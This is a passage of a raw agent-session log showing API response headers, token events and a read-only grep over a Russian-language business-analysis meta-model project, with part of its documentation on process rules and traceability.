\"00-80161e1479fd88148e40be0432857ff0-1e93e3fe3fb1fd2a-01\",\n[2026-09-29T07:46:52.111Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:52.117Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:52.121Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:52.124Z] [STDOUT]   },\n[2026-09-29T07:46:52.127Z] [STDOUT]   durationMs: 7248,\n[2026-09-29T07:46:52.134Z] [STDOUT] }\n[2026-09-29T07:46:52.137Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:52.142Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:51 GMT\",\n[2026-09-29T07:46:52.148Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:52.153Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:52.161Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:52.164Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:52.168Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:52.171Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:52.174Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:52.176Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:52.179Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:52.182Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:52.191Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:52.198Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:52.202Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:52.206Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:52.209Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:52.213Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:52.218Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:52.220Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:52.223Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:52.226Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:52.228Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:52.232Z] [STDOUT]   \"request-id\": \"req_011CfXMrf2fvkGLvstKgDtPW\",\n[2026-09-29T07:46:52.236Z] [STDOUT]   \"traceresponse\": \"00-80161e1479fd88148e40be0432857ff0-1e93e3fe3fb1fd2a-01\",\n[2026-09-29T07:46:52.241Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:52.245Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:52.249Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:52.252Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:52.257Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:52.261Z] [STDOUT]   \"cf-ray\": \"a42960361a2901ff-CDG\",\n[2026-09-29T07:46:52.265Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:52.269Z] [STDOUT] [log_232d49] response parsed {\n[2026-09-29T07:46:52.271Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:52.274Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:52.278Z] [STDOUT]   body: X {\n[2026-09-29T07:46:52.281Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:52.285Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:52.288Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:52.292Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:52.297Z] [STDOUT]     },\n[2026-09-29T07:46:52.303Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:52.306Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:52.310Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:52.313Z] [STDOUT]   },\n[2026-09-29T07:46:52.316Z] [STDOUT]   durationMs: 7252,\n[2026-09-29T07:46:52.328Z] [STDOUT] }\n[2026-09-29T07:46:52.498Z] [INFO] {\n[2026-09-29T07:46:52.498Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:52.498Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:52.498Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:46:52.498Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:52.498Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:52.498Z] [INFO]   \"uuid\": \"6a279e5b-e8d6-4ea0-9b1a-eefaa03d8b72\"\n[2026-09-29T07:46:52.498Z] [INFO] }\n[2026-09-29T07:46:53.549Z] [INFO] {\n[2026-09-29T07:46:53.549Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:53.549Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:53.549Z] [INFO]   \"estimated_tokens\": 250,\n[2026-09-29T07:46:53.549Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:53.549Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:53.549Z] [INFO]   \"uuid\": \"99ac9d5c-6740-4463-b8fc-3f3683e6f60a\"\n[2026-09-29T07:46:53.549Z] [INFO] }\n[2026-09-29T07:46:53.950Z] [INFO] {\n[2026-09-29T07:46:53.950Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:53.950Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:53.950Z] [INFO]   \"estimated_tokens\": 353,\n[2026-09-29T07:46:53.950Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:53.950Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:53.950Z] [INFO]   \"uuid\": \"b79e9fa3-2929-48c8-8817-7bc6599e9212\"\n[2026-09-29T07:46:53.950Z] [INFO] }\n[2026-09-29T07:46:53.960Z] [INFO] {\n[2026-09-29T07:46:53.960Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:53.960Z] [INFO]   \"message\": {\n[2026-09-29T07:46:53.960Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:53.960Z] [INFO]     \"id\": \"msg_011CfXMs47UucRme12uz9QDb\",\n[2026-09-29T07:46:53.960Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:53.960Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:53.960Z] [INFO]     \"content\": [\n[2026-09-29T07:46:53.960Z] [INFO]       {\n[2026-09-29T07:46:53.960Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:53.960Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:53.960Z] [INFO]         \"signature\": \"CAQS+goKEAgSGAI4AUIIdGhpbmtpbmcSDOKPZ0ae28DCYNhIbhoMvNwEbQz+K84iN0Q0IjApt4dICehN/2kvwHydyON2t3/gQOyaIhfwDBU5uyfU9q0BGxcEWSHMWKCvZYFBGPoqlwrGn4EgxbcDfn5pwt0BBs8zaoGbwpWmpkfr7aroW4bnXlrPWmNp8/Pa+qTMlcQMGdUM9MP/xaKre9Y/P4fHbAUGUCbdixqVhAa6j+XIaEJaA/LhAkjDfrJk2eeBufJ95YCfhgQsiLBJ5IpdxUJPWZLksVsz9KF43bWxOXCWry2mmV0h/L+NiXMQNM2fEw4ptKdKrVlQXPbo+dvF+ZmOqe4BBH+PnbZ2RmKqPe9fMLuwbMvjTpl2dTdOnDMtlzYHTjVlKMZw/kvXzpGk4WgzTwvAgKVCFSenmUUqYWAGFwIbHqKTtWkPU5rgFyhYJzDB+urBhiYz3ZsSnODWOVoaFshgjn0QHlANy7uZuOFnTqpS4I7YRG3RK9EHK7w8yQox04BlX+OPdQ5TRs5373CnBu8daVElMOvV5C7x5oBorfx/DJ7g1WXlIl0ArS8HSnUQ9ZAuJw7Olvf1IjfPLZfNYFF+guLXT9BQ2V/u3gMsq7OGOZJOj9QGz7fkxUHZtsay2A8WTuSV/z+2C6A0ENHaAFb/XQ0XjTLv39MwDXnghlzSc7oGmgRcXUyw3tgYmZvOnmv4ntjtzNPsHbyLjp02JKXNKEvZ4R5T82wETYtJcpBus7H/32lTo6bqYq2GhrLJ9fONtKLib8kHGCe8H8TMZqvBFlBzqwaI7FwKgZqEBz4y6e50HqMM9o00USM3LxNi23YdNgcu/ZUz2kzlkyv4Y91NAOtaHNVECIZ9jt2wUP69Xqoq0qR5rLPQGmtMXvowH5tiXCtSEt5rH6OKeSKCAkYJVbS2KKv7VMSTWWf3l4GYEaFbUy/KCrs8OkiHl+nyjTp5doUQ8lWNZij9+gjmSWrtW+vjoQysH1Biq4m4fFqlzMmqJItM23OSMz+3fU5kBkRsdP/0ofd8kAcjAkyFvvSf6TcUOAZF4HMcM6A6/u9p6LPRh8xBbn1Jop6C0e7Is9I6wS/5OJZ99gcpEq2TiPUQ2yMF+/QtWHsaRo5Amv48yVQwWn6JPfQzg9slVZPVhcesB/2ZH23B/0/ZT5UUranYI4DB2o319SWkfl2e8sYdnF1e0g1v4Y9+vnyQSh351SOrXbz6LM0bpJS71uqYR8JHYjwLU8qcsCBpK2dLektFEEpY3QJx8LEozXC+vxS5aVVBgMHSVg3cs+GT+6g89L6r8lQ/WF+lLlz6RiINAOylJnuUH1aywear//yMUoFd7MBWuTFLik9QcvrGk2L2FSihCSckBAY1OwKhKHH/2RL5D1HCxUFeYCNiQMFtGqUYOjmLH5uHMFwDRU0GY6tBmt3ovKH2G7DSCmNHewkMEpyrFysqZTEmTR2r/oLTn9sK1e/W6lCMLm2omSgX7F4C/jGq5zScAD659Qildtm/7BmWLwLX+uCdGHVcpeYRYjehHDBW41/yawIZ1uPo/GmrGBw8GpaUmloY19h1Q8RWl4k64jIq+JUTLWHExnX0i8Vk0AS+2n6cgb6VkhprmPCv3QdVMB+PAV3jriuzR+lA0Pembx2UOBLSIOPXwhGqmNPI9kuhux8yiWvRnLcA5MkxYqZbSxxIl+jtH+O4rBY7juxKgJMbt20mrD1Rm7zIBUYzsOfMaIiBd9CJn8fQhtUOAXm/RzvdYgClJZ9egGC8ucD/4ksdG62O4QJdt5oe55UTQyYq9Xx8sfrsegs0tSIQZdXldPA2vWZtsPlUecsTiZkCT2ff43WyZl+qc6nE/GC+b01x4WaZlFGBGAE=\"\n[2026-09-29T07:46:53.960Z] [INFO]       }\n[2026-09-29T07:46:53.960Z] [INFO]     ],\n[2026-09-29T07:46:53.960Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:53.960Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:53.960Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:53.960Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:53.960Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:53.960Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:53.960Z] [INFO]       \"cache_creation_input_tokens\": 2601,\n[2026-09-29T07:46:53.960Z] [INFO]       \"cache_read_input_tokens\": 40629,\n[2026-09-29T07:46:53.960Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:53.960Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:53.960Z] [INFO]         \"ephemeral_1h_input_tokens\": 2601\n[2026-09-29T07:46:53.960Z] [INFO]       },\n[2026-09-29T07:46:53.960Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:53.960Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:53.960Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:53.960Z] [INFO]     },\n[2026-09-29T07:46:53.960Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:53.960Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:53.960Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:53.960Z] [INFO]   },\n[2026-09-29T07:46:53.960Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:53.960Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:53.960Z] [INFO]   \"uuid\": \"87f9e902-e93f-4857-9409-725fa69e9d74\",\n[2026-09-29T07:46:53.960Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:53.949Z\",\n[2026-09-29T07:46:53.960Z] [INFO]   \"request_id\": \"req_011CfXMs3fwQoX8S5YLXibc1\"\n[2026-09-29T07:46:53.960Z] [INFO] }\n[2026-09-29T07:46:55.164Z] [INFO] {\n[2026-09-29T07:46:55.164Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:55.164Z] [INFO]   \"message\": {\n[2026-09-29T07:46:55.164Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:55.164Z] [INFO]     \"id\": \"msg_011CfXMs47UucRme12uz9QDb\",\n[2026-09-29T07:46:55.164Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:55.164Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:55.164Z] [INFO]     \"content\": [\n[2026-09-29T07:46:55.164Z] [INFO]       {\n[2026-09-29T07:46:55.164Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:55.164Z] [INFO]         \"id\": \"toolu_01K7srPDGfJWaX4fLcE1sXaE\",\n[2026-09-29T07:46:55.164Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:55.164Z] [INFO]         \"input\": {\n[2026-09-29T07:46:55.164Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n \\\"M-1\\\\|M-2\\\\|M-3\\\\|M-4\\\\|M-5\\\" ba-meta-model/*.md | cut -c1-300 | head -30; ls ba-meta-model ba-meta-model/*/ | head -50\",\n[2026-09-29T07:46:55.164Z] [INFO]           \"description\": \"Locate metric definitions and meta-model files\"\n[2026-09-29T07:46:55.164Z] [INFO]         },\n[2026-09-29T07:46:55.164Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:55.164Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:55.164Z] [INFO]         }\n[2026-09-29T07:46:55.164Z] [INFO]       }\n[2026-09-29T07:46:55.164Z] [INFO]     ],\n[2026-09-29T07:46:55.164Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:55.164Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:55.164Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:55.164Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:55.164Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:55.164Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:55.164Z] [INFO]       \"cache_creation_input_tokens\": 2601,\n[2026-09-29T07:46:55.164Z] [INFO]       \"cache_read_input_tokens\": 40629,\n[2026-09-29T07:46:55.164Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:55.164Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:55.164Z] [INFO]         \"ephemeral_1h_input_tokens\": 2601\n[2026-09-29T07:46:55.164Z] [INFO]       },\n[2026-09-29T07:46:55.164Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:55.164Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:55.164Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:55.164Z] [INFO]     },\n[2026-09-29T07:46:55.164Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:55.164Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:55.164Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:55.164Z] [INFO]   },\n[2026-09-29T07:46:55.164Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:55.164Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:55.164Z] [INFO]   \"uuid\": \"a9aac090-1e7b-4cf9-a866-9cb5476e8eb5\",\n[2026-09-29T07:46:55.164Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:55.154Z\",\n[2026-09-29T07:46:55.164Z] [INFO]   \"request_id\": \"req_011CfXMs3fwQoX8S5YLXibc1\",\n[2026-09-29T07:46:55.164Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:46:55.164Z] [INFO]     \"toolu_01K7srPDGfJWaX4fLcE1sXaE\": {\n[2026-09-29T07:46:55.164Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n \\\"M-1\\\\|M-2\\\\|M-3\\\\|M-4\\\\|M-5\\\" ba-meta-model/*.md | cut -c1-300 | head -30; ls ba-meta-model ba-meta-model/*/ | head -50\",\n[2026-09-29T07:46:55.164Z] [INFO]       \"description\": \"Locate metric definitions and meta-model files\"\n[2026-09-29T07:46:55.164Z] [INFO]     }\n[2026-09-29T07:46:55.164Z] [INFO]   }\n[2026-09-29T07:46:55.164Z] [INFO] }\n[2026-09-29T07:46:56.561Z] [INFO] {\n[2026-09-29T07:46:56.561Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:56.561Z] [INFO]   \"message\": {\n[2026-09-29T07:46:56.561Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:56.561Z] [INFO]     \"content\": [\n[2026-09-29T07:46:56.561Z] [INFO]       {\n[2026-09-29T07:46:56.561Z] [INFO]         \"tool_use_id\": \"toolu_01K7srPDGfJWaX4fLcE1sXaE\",\n[2026-09-29T07:46:56.561Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:56.561Z] [INFO]         \"content\": \"ba-meta-model/00-introduction.md:215:  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (`M-1 = 0.0`), \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u0430\u0445\\nba-meta-model/10-theory.md:67:| `SY-3` | `System` \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 (`MM-4`): \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0437\u0430\u0434\u043d\u0438\u043c \u0447\u0438\u0441\u043b\u043e\u043c. |\\nba-meta-model/10-theory.md:117:\u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `SB-0`\u2013`SB-9` \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 `FM-1`\u2013`FM-5` \u2014\\nba-meta-model/10-theory.md:140:| `MM-1` | \u0428\u0430\u0433 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f. | \u00ab\u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0437 \u0432\u043e\u0437\u0434\u0443\u0445\u0430\u00bb: 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434 \u2014 \u0442\u0430\u043a\u0438\u0435 \u0448\u0430\u0433\u0438 \u043d\u0435\u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\ufffd\\nba-meta-model/10-theory.md:141:| `MM-2` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d. | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u00ab\u043d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435\u00bb, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438, \u043d\u0438 \u043e\u0441\u043f\ufffd\\nba-meta-model/10-theory.md:142:| `MM-3` | \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043d\u0435\u0441\u0451\u0442 `Trace` \u043d\u0430 \u0432\u0445\u043e\u0434, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0433\u0435\u0439\u0442\u044b. | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f: \u043e\u043d \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 \u043c\u0435\u0442\u0440\ufffd\\nba-meta-model/10-theory.md:143:| `MM-4` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430, \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430. | \u041c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e: \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\\nba-meta-model/10-theory.md:145:`MM-1` \u0438 `MM-4` \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430; `MM-2` \u0438 `MM-3` \u2014 \u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0430\\nba-meta-model/10-theory.md:214:| \u00ab\u0422\u043e\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u00bb \u0432\u0441\u0435\u0433\u043e \u043d\u0430 \u0432\u0441\u0451 \u043f\u0440\u043e\u0442\u0438\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 | \u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0440\u0451\u0431\u0440\u0430\u043c `Trace`, \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c \u0432 `MM-3`. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u2014 \\nba-meta-model/20-taxonomy.md:62:| `A-TRACE` | \u0421\u043b\u0435\u0434 \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438 | **\u043d\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u043d\u0435 \u043f\u0430\u043c\u044f\u0442\u044c \u0447\u0430\u0442\u0430**, \u0430 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u0438\u043b\u0438 \u0433\u0440\u0430\u0444, \u0434\u0430\u044e\u0449\u0438\u0439 \u0441\u043a\u0432\u043e\u0437\u043d\u0443\u044e \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c: \\nba-meta-model/20-taxonomy.md:163:| `PT-1` | \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0448\u0430\u0433\u0430 (`MM-4`), \u0430 \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0438\u0437 \u0442\u0435\u043a\u0441\u0442\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430. |\\nba-meta-model/20-taxonomy.md:187:| `DP-5` | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 `interaction` **\u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f: `dialog`, \u0435\u0441\u043b\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0430\u043a\u0442\u043e\u0440\u0443 \u0434\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0445\ufffd\\nba-meta-model/20-taxonomy.md:245:| `GT-3` | \u0413\u0435\u0439\u0442 \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d (`MM-2`). |\\nba-meta-model/20-taxonomy.md:260:| `C-IN` | \u0432\u0445\u043e\u0434 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430: \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0437\u0430\u0434\u0430\u0447\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a | `M0`, `MM-1`, 